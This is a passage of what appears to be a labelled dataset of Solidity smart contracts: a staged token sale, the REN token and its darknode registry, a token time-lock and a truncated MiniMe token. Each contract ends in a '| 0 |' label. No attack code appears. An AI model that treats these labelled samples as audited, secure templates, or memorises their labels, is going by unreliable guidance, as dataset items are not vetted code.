require(super.mint(_to, _amount));
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(transfersEnabled, "Tranfers are disabled");
require(super.transfer(_to, _value));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(transfersEnabled, "Tranfers are disabled");
require(super.transferFrom(_from, _to, _value));
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenSale is MintedCrowdsale, WhitelistedCrowdsale, Pausable, Distributable {
mapping(address => uint256) public contributions;
Stages public currentStage;
uint256 constant MINIMUM_CONTRIBUTION = 0.5 ether;
uint256 constant MAXIMUM_CONTRIBUTION = 100 ether;
uint256 constant BONUS_PERCENT = 250;
uint256 constant TOKENS_ON_SALE_PERCENT = 600;
uint256 constant BONUSSALE_MAX_DURATION = 30 days ;
uint256 constant MAINSALE_MAX_DURATION = 62 days;
uint256 constant TOKEN_RELEASE_DELAY = 182 days;
uint256 constant HUNDRED_PERCENT = 1000;
uint256 public bonussale_Cap = 14400 ether;
uint256 public bonussale_TokenCap = 1200000 ether;
uint256 public bonussale_StartDate;
uint256 public bonussale_EndDate;
uint256 public bonussale_TokesSold;
uint256 public bonussale_WeiRaised;
uint256 public mainSale_Cap = 18000 ether;
uint256 public mainSale_TokenCap = 1200000 ether;
uint256 public mainSale_StartDate;
uint256 public mainSale_EndDate;
uint256 public mainSale_TokesSold;
uint256 public mainSale_WeiRaised;
uint256 private changeDue;
bool private capReached;
enum Stages{
SETUP,
READY,
BONUSSALE,
MAINSALE,
FINALIZED
}
modifier atStage(Stages _currentStage){
require(currentStage == _currentStage);
_;
}
modifier timedTransition(){
if(currentStage == Stages.READY && now >= bonussale_StartDate){
currentStage = Stages.BONUSSALE;
}
if(currentStage == Stages.BONUSSALE && now > bonussale_EndDate){
finalizePresale();
}
if(currentStage == Stages.MAINSALE && now > mainSale_EndDate){
finalizeSale();
}
_;
}
constructor(uint256 _rate, address _wallet, ERC20 _token) public Crowdsale(_rate,_wallet,_token) {
require(_rate == 15);
currentStage = Stages.SETUP;
}
function setupSale(uint256 initialDate, address tokenAddress) onlyOwner atStage(Stages.SETUP) public {
bonussale_StartDate = initialDate;
bonussale_EndDate = bonussale_StartDate + BONUSSALE_MAX_DURATION;
token = ERC20(tokenAddress);
require(SolidToken(tokenAddress).totalSupply() == 0, "Tokens have already been distributed");
require(SolidToken(tokenAddress).owner() == address(this), "Token has the wrong ownership");
currentStage = Stages.READY;
}
function getCurrentCap() public view returns(uint256 cap){
cap = bonussale_Cap;
if(currentStage == Stages.MAINSALE){
cap = mainSale_Cap;
}
}
function getRaisedForCurrentStage() public view returns(uint256 raised){
raised = bonussale_WeiRaised;
if(currentStage == Stages.MAINSALE)
raised = mainSale_WeiRaised;
}
function saleOpen() public timedTransition whenNotPaused returns(bool open) {
open = ((now >= bonussale_StartDate && now < bonussale_EndDate) ||
(now >= mainSale_StartDate && now < mainSale_EndDate)) &&
(currentStage == Stages.BONUSSALE || currentStage == Stages.MAINSALE);
}
function distributeTokens() public onlyOwner atStage(Stages.FINALIZED) {
require(!distributed);
distributed = true;
uint256 totalTokens = (bonussale_TokesSold.add(mainSale_TokesSold)).mul(HUNDRED_PERCENT).div(TOKENS_ON_SALE_PERCENT);
for(uint i = 0; i < partners.length; i++){
uint256 amount = percentages[partners[i]].mul(totalTokens).div(HUNDRED_PERCENT);
_deliverTokens(partners[i], amount);
}
for(uint j = 0; j < partnerFixedAmount.length; j++){
_deliverTokens(partnerFixedAmount[j], fixedAmounts[partnerFixedAmount[j]]);
}
require(SolidToken(token).finishMinting());
}
function finalizePresale() atStage(Stages.BONUSSALE) internal{
bonussale_EndDate = now;
mainSale_StartDate = now;
mainSale_EndDate = mainSale_StartDate + MAINSALE_MAX_DURATION;
mainSale_TokenCap = mainSale_TokenCap.add(bonussale_TokenCap.sub(bonussale_TokesSold));
mainSale_Cap = mainSale_Cap.add(bonussale_Cap.sub(weiRaised.sub(changeDue)));
currentStage = Stages.MAINSALE;
}
function finalizeSale() atStage(Stages.MAINSALE) internal {
mainSale_EndDate = now;
require(SolidToken(token).setTransferEnablingDate(now + TOKEN_RELEASE_DELAY));
currentStage = Stages.FINALIZED;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) isWhitelisted(_beneficiary) internal {
require(_beneficiary == msg.sender);
require(saleOpen(), "Sale is Closed");
uint256 acceptedValue = _weiAmount;
uint256 currentCap = getCurrentCap();
uint256 raised = getRaisedForCurrentStage();
if(contributions[_beneficiary].add(acceptedValue) > MAXIMUM_CONTRIBUTION){
changeDue = (contributions[_beneficiary].add(acceptedValue)).sub(MAXIMUM_CONTRIBUTION);
acceptedValue = acceptedValue.sub(changeDue);
}
if(raised.add(acceptedValue) >= currentCap){
changeDue = changeDue.add(raised.add(acceptedValue).sub(currentCap));
acceptedValue = _weiAmount.sub(changeDue);
capReached = true;
}
require(capReached || contributions[_beneficiary].add(acceptedValue) >= MINIMUM_CONTRIBUTION ,"Contribution below minimum");
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256 amount) {
amount = (_weiAmount.sub(changeDue)).mul(HUNDRED_PERCENT).div(rate);
if(currentStage == Stages.BONUSSALE){
amount = amount.add(amount.mul(BONUS_PERCENT).div(HUNDRED_PERCENT));
}
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
if(currentStage == Stages.MAINSALE && capReached) finalizeSale();
if(currentStage == Stages.BONUSSALE && capReached) finalizePresale();
changeDue = 0;
capReached = false;
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
uint256 tokenAmount = _getTokenAmount(_weiAmount);
if(currentStage == Stages.BONUSSALE){
bonussale_TokesSold = bonussale_TokesSold.add(tokenAmount);
bonussale_WeiRaised = bonussale_WeiRaised.add(_weiAmount.sub(changeDue));
} else {
mainSale_TokesSold = mainSale_TokesSold.add(tokenAmount);
mainSale_WeiRaised = mainSale_WeiRaised.add(_weiAmount.sub(changeDue));
}
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount).sub(changeDue);
weiRaised = weiRaised.sub(changeDue);
}
function _forwardFunds() internal {
wallet.transfer(msg.value.sub(changeDue));
msg.sender.transfer(changeDue);
}
} | 0 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract RepublicToken is PausableToken, BurnableToken {
string public constant name = "Republic Token";
string public constant symbol = "REN";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals);
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) {
require(amount > 0);
balances[owner] = balances[owner].sub(amount);
balances[beneficiary] = balances[beneficiary].add(amount);
emit Transfer(owner, beneficiary, amount);
return true;
}
}
library LinkedList {
address public constant NULL = 0x0;
struct Node {
bool inList;
address previous;
address next;
}
struct List {
mapping (address => Node) list;
}
function insertBefore(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "already in list");
require(isInList(self, target) || target == NULL, "not in list");
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
}
function insertAfter(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "already in list");
require(isInList(self, target) || target == NULL, "not in list");
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
}
function remove(List storage self, address node) internal {
require(isInList(self, node), "not in list");
if (node == NULL) {
return;
}
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
self.list[node].inList = false;
delete self.list[node];
}
function prepend(List storage self, address node) internal {
insertBefore(self, begin(self), node);
}
function append(List storage self, address node) internal {
insertAfter(self, end(self), node);
}
function swap(List storage self, address left, address right) internal {
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node) internal view returns (bool) {
return self.list[node].inList;
}
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "not in list");
return self.list[node].next;
}
function previous(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "not in list");
return self.list[node].previous;
}
}
contract DarknodeRegistryStore is Ownable {
string public VERSION;
struct Darknode {
address owner;
uint256 bond;
uint256 registeredAt;
uint256 deregisteredAt;
bytes publicKey;
}
mapping(address => Darknode) private darknodeRegistry;
LinkedList.List private darknodes;
RepublicToken public ren;
constructor(
string _VERSION,
RepublicToken _ren
) public {
VERSION = _VERSION;
ren = _ren;
}
function appendDarknode(
address _darknodeID,
address _darknodeOwner,
uint256 _bond,
bytes _publicKey,
uint256 _registeredAt,
uint256 _deregisteredAt
) external onlyOwner {
Darknode memory darknode = Darknode({
owner: _darknodeOwner,
bond: _bond,
publicKey: _publicKey,
registeredAt: _registeredAt,
deregisteredAt: _deregisteredAt
});
darknodeRegistry[_darknodeID] = darknode;
LinkedList.append(darknodes, _darknodeID);
}
function begin() external view onlyOwner returns(address) {
return LinkedList.begin(darknodes);
}
function next(address darknodeID) external view onlyOwner returns(address) {
return LinkedList.next(darknodes, darknodeID);
}
function removeDarknode(address darknodeID) external onlyOwner {
uint256 bond = darknodeRegistry[darknodeID].bond;
delete darknodeRegistry[darknodeID];
LinkedList.remove(darknodes, darknodeID);
require(ren.transfer(owner, bond), "bond transfer failed");
}
function updateDarknodeBond(address darknodeID, uint256 bond) external onlyOwner {
uint256 previousBond = darknodeRegistry[darknodeID].bond;
darknodeRegistry[darknodeID].bond = bond;
if (previousBond > bond) {
require(ren.transfer(owner, previousBond - bond), "cannot transfer bond");
}
}
function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner {
darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt;
}
function darknodeOwner(address darknodeID) external view onlyOwner returns (address) {
return darknodeRegistry[darknodeID].owner;
}
function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].bond;
}
function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].registeredAt;
}
function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].deregisteredAt;
}
function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes) {
return darknodeRegistry[darknodeID].publicKey;
}
}
contract DarknodeRegistry is Ownable {
string public VERSION;
struct Epoch {
uint256 epochhash;
uint256 blocknumber;
}
uint256 public numDarknodes;
uint256 public numDarknodesNextEpoch;
uint256 public numDarknodesPreviousEpoch;
uint256 public minimumBond;
uint256 public minimumPodSize;
uint256 public minimumEpochInterval;
address public slasher;
uint256 public nextMinimumBond;
uint256 public nextMinimumPodSize;
uint256 public nextMinimumEpochInterval;
address public nextSlasher;
Epoch public currentEpoch;
Epoch public previousEpoch;
RepublicToken public ren;
DarknodeRegistryStore public store;
event LogDarknodeRegistered(address _darknodeID, uint256 _bond);
event LogDarknodeDeregistered(address _darknodeID);
event LogDarknodeOwnerRefunded(address _owner, uint256 _amount);
event LogNewEpoch();
event LogMinimumBondUpdated(uint256 previousMinimumBond, uint256 nextMinimumBond);
event LogMinimumPodSizeUpdated(uint256 previousMinimumPodSize, uint256 nextMinimumPodSize);
event LogMinimumEpochIntervalUpdated(uint256 previousMinimumEpochInterval, uint256 nextMinimumEpochInterval);
event LogSlasherUpdated(address previousSlasher, address nextSlasher);
modifier onlyDarknodeOwner(address _darknodeID) {
require(store.darknodeOwner(_darknodeID) == msg.sender, "must be darknode owner");
_;
}
modifier onlyRefunded(address _darknodeID) {
require(isRefunded(_darknodeID), "must be refunded or never registered");
_;
}
modifier onlyRefundable(address _darknodeID) {
require(isRefundable(_darknodeID), "must be deregistered for at least one epoch");
_;
}
modifier onlyDeregisterable(address _darknodeID) {
require(isDeregisterable(_darknodeID), "must be deregisterable");
_;
}
modifier onlySlasher() {
require(slasher == msg.sender, "must be slasher");
_;
}
constructor(
string _VERSION,
RepublicToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochInterval
) public {
VERSION = _VERSION;
store = _storeAddress;
ren = _renAddress;
minimumBond = _minimumBond;
nextMinimumBond = minimumBond;
minimumPodSize = _minimumPodSize;
nextMinimumPodSize = minimumPodSize;
minimumEpochInterval = _minimumEpochInterval;
nextMinimumEpochInterval = minimumEpochInterval;
currentEpoch = Epoch({
epochhash: uint256(blockhash(block.number - 1)),
blocknumber: block.number
});
numDarknodes = 0;
numDarknodesNextEpoch = 0;
numDarknodesPreviousEpoch = 0;
}
function register(address _darknodeID, bytes _publicKey, uint256 _bond) external onlyRefunded(_darknodeID) {
require(_bond >= minimumBond, "insufficient bond");
require(ren.transferFrom(msg.sender, address(this), _bond), "bond transfer failed");
ren.transfer(address(store), _bond);
store.appendDarknode(
_darknodeID,
msg.sender,
_bond,
_publicKey,
currentEpoch.blocknumber + minimumEpochInterval,
0
);
numDarknodesNextEpoch += 1;
emit LogDarknodeRegistered(_darknodeID, _bond);
}
function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) {
store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocknumber + minimumEpochInterval);
numDarknodesNextEpoch -= 1;
emit LogDarknodeDeregistered(_darknodeID);
}
function epoch() external {
if (previousEpoch.blocknumber == 0) {
require(msg.sender == owner, "not authorized (first epochs)");
}
require(block.number >= currentEpoch.blocknumber + minimumEpochInterval, "epoch interval has not passed");
uint256 epochhash = uint256(blockhash(block.number - 1));
previousEpoch = currentEpoch;
currentEpoch = Epoch({
epochhash: epochhash,
blocknumber: block.number
});
numDarknodesPreviousEpoch = numDarknodes;
numDarknodes = numDarknodesNextEpoch;
if (nextMinimumBond != minimumBond) {
minimumBond = nextMinimumBond;
emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);
}
if (nextMinimumPodSize != minimumPodSize) {
minimumPodSize = nextMinimumPodSize;
emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);
}
if (nextMinimumEpochInterval != minimumEpochInterval) {
minimumEpochInterval = nextMinimumEpochInterval;
emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval);
}
if (nextSlasher != slasher) {
slasher = nextSlasher;
emit LogSlasherUpdated(slasher, nextSlasher);
}
emit LogNewEpoch();
}
function transferStoreOwnership(address _newOwner) external onlyOwner {
store.transferOwnership(_newOwner);
}
function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner {
nextMinimumBond = _nextMinimumBond;
}
function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner {
nextMinimumPodSize = _nextMinimumPodSize;
}
function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner {
nextMinimumEpochInterval = _nextMinimumEpochInterval;
}
function updateSlasher(address _slasher) external onlyOwner {
nextSlasher = _slasher;
}
function slash(address _prover, address _challenger1, address _challenger2)
external
onlySlasher
{
uint256 penalty = store.darknodeBond(_prover) / 2;
uint256 reward = penalty / 4;
store.updateDarknodeBond(_prover, penalty);
if (isDeregisterable(_prover)) {
store.updateDarknodeDeregisteredAt(_prover, currentEpoch.blocknumber + minimumEpochInterval);
numDarknodesNextEpoch -= 1;
emit LogDarknodeDeregistered(_prover);
}
ren.transfer(store.darknodeOwner(_challenger1), reward);
ren.transfer(store.darknodeOwner(_challenger2), reward);
}
function refund(address _darknodeID) external onlyRefundable(_darknodeID) {
address darknodeOwner = store.darknodeOwner(_darknodeID);
uint256 amount = store.darknodeBond(_darknodeID);
store.removeDarknode(_darknodeID);
ren.transfer(darknodeOwner, amount);
emit LogDarknodeOwnerRefunded(darknodeOwner, amount);
}
function getDarknodeOwner(address _darknodeID) external view returns (address) {
return store.darknodeOwner(_darknodeID);
}
function getDarknodeBond(address _darknodeID) external view returns (uint256) {
return store.darknodeBond(_darknodeID);
}
function getDarknodePublicKey(address _darknodeID) external view returns (bytes) {
return store.darknodePublicKey(_darknodeID);
}
function getDarknodes(address _start, uint256 _count) external view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
return getDarknodesFromEpochs(_start, count, false);
}
function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodesPreviousEpoch;
}
return getDarknodesFromEpochs(_start, count, true);
}
function isPendingRegistration(address _darknodeID) external view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
return registeredAt != 0 && registeredAt > currentEpoch.blocknumber;
}
function isPendingDeregistration(address _darknodeID) external view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocknumber;
}
function isDeregistered(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocknumber;
}
function isDeregisterable(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return isRegistered(_darknodeID) && deregisteredAt == 0;
}
function isRefunded(address _darknodeID) public view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return registeredAt == 0 && deregisteredAt == 0;
}
function isRefundable(address _darknodeID) public view returns (bool) {
return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocknumber;
}
function isRegistered(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, currentEpoch);
}
function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, previousEpoch);
}
function isRegisteredInEpoch(address _darknodeID, Epoch _epoch) private view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber;
bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber;
return registered && notDeregistered;
}
function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
address[] memory nodes = new address[](count);
uint256 n = 0;
address next = _start;
if (next == 0x0) {
next = store.begin();
}
while (n < count) {
if (next == 0x0) {
break;
}
bool includeNext;
if (_usePreviousEpoch) {
includeNext = isRegisteredInPreviousEpoch(next);
} else {
includeNext = isRegistered(next);
}
if (!includeNext) {
next = store.next(next);
continue;
}
nodes[n] = next;
next = store.next(next);
n += 1;
}
return nodes;
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28512000;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x8775dFb8E5b82BBB104267f391cB612688c342Fe;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.11;
contract ERC20Token {
function totalSupply() constant returns (uint supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.11;
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled, ERC20Token {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) returns (bool success) {
if (!transfersEnabled) throw;
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
if (!transfersEnabled) throw;
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
if (parentSnapShotBlock >= block.number) throw;
if ((_to == 0) || (_to == address(this))) throw;
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
if (!TokenController(controller).onTransfer(_from, _to, _amount))
throw;
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
if (previousBalanceTo + _amount < previousBalanceTo) throw;
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
if (!transfersEnabled) throw;
if ((_amount!=0) && (allowed[msg.sender][_spender] !=0)) throw;
if (isContract(controller)) {
if (!TokenController(controller).onApprove(msg.sender, _spender, _amount))
throw;
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
if (!approve(_spender, _amount)) throw;
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
